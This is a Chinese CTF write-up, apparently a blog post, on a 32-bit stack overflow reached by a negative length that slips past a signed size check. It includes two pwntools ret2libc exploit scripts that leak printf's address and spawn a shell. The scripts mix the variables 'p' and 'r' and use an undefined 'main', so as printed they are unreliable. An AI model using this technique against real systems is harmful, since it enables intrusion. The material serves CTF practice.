一道贼tm坑的栈溢出 ——怎么会有这么恶心的东西
上来直接基本操作
没啥意思
ida里看一眼
好家伙,vlun函数直接拍我脸上了
想要溢出必须绕过这个v2大小的限制
进入get_n函数看一下
就是接受a2个字符的输入,但可以注意到a2是unsigned int型,而判断的时候是有符号的
所以我们传入一个负数,即绕过v2>32的判断,在后面的get_n函数中a2由于是个负数被强制转化为无符号数所以可以溢出
后面就是基本操作了,和上面一篇重复了就不写了,唯一注意的就是32位程序传参与64位程序传参的不同
你以为这就结束了,这tm是邪恶的开始
一开始的exp
from pwn import *
from LibcSearcher import *
p=remote('node3.buuoj.cn',25504)
#p=process('./pwn')
elf=ELF('./pwn')
printf_plt=elf.plt['printf']
printf_got=elf.got['printf']
main_addr=elf.sym['main']
p.recvuntil('read? ')
p.sendline('-1')
p.recvuntil('\n')
payload='a'*0x2c+p32(0)+p32(printf_plt)+p32(main_addr)+p32(printf_got)
p.sendline(payload)
p.recvuntil('\n')
printf_addr=u32(p.recv(4))
libc=LibcSearcher('printf',printf_addr)
offset=printf_addr-libc.dump('printf')
system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
r.recvuntil('How many bytes do you want me to read? ')
r.sendline('-1')
r.recvuntil('\n')
payload='a'*(0x2c+4)+p32(system)+p32(main)+p32(bin_sh)
r.sendline(payload)
p.interactive()
看起来非常完美,尽显我的水平(bushi)
然而一运行
我直接黑人问号
下个断点看一下
没毛病,地址都出来了,我想因该不会是LibcSearcher的问题吧
结果网上查了半小时也没查出个所以然
抄了一篇exp,先能运行再说
结果
你tm在逗我?????
这才刚刚开始,连抄了几篇exp都是这个结果
我不禁开始怀疑这个世界,不会有人在针对我吧
然后神奇的事情来了,当我连上远程之后
我tm直接震惊,这是魔法吗,敢情是我机子的问题?不会吧不会吧
不管三七二十一,先把flag拿了再说
你以为这就结束了?太年轻了
当我以为只要把我的程序改成连接远程后就可以执行后,结果
我tm直接奔溃
然后我玩了半小时的大家来找茬
经过我双眼5.0的激光扫描后我得出结论
不能说十分相似,只能说完全一致
日常奔溃 x2
当我以为这是什么天谴时,我发现了这玩意
不会吧不会吧,这么细的吗,ebp不是随便覆盖的吗,覆盖成0和a有啥区别
然而事实是
这就成了???
不是ebp还有这说法?题目做到现在也没说ebp不能覆盖成0啊
然后我看了眼一小时前做的溢出(即上篇文章)
好家伙同样都是覆盖为0到你这咋就不行了呢?
只能说这一波是阴间操作
不管了,我为什么做这种题折磨自己?
最后附上exp
from pwn import *
from LibcSearcher import *
p=remote('node3.buuoj.cn',25504)
#p=process('./pwn')
elf=ELF('./pwn')
printf_plt=elf.plt['printf']
printf_got=elf.got['printf']
main_addr=elf.sym['main']
p.recvuntil('read? ')
p.sendline('-1')
p.recvuntil('\n')
payload='a'*(0x2c+4)+p32(printf_plt)+p32(main_addr)+p32(printf_got)
p.sendline(payload)
p.recvuntil('\n')
printf_addr=u32(p.recv(4))
print("addr=0x%x"%printf_addr)
pause()
libc=LibcSearcher('printf',printf_addr)
offset=printf_addr-libc.dump('printf')
system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
r.recvuntil('How many bytes do you want me to read? ')
r.sendline('-1')
r.recvuntil('\n')
payload='a'*(0x2c+4)+p32(system)+p32(main)+p32(bin_sh)
r.sendline(payload)
p.interactive()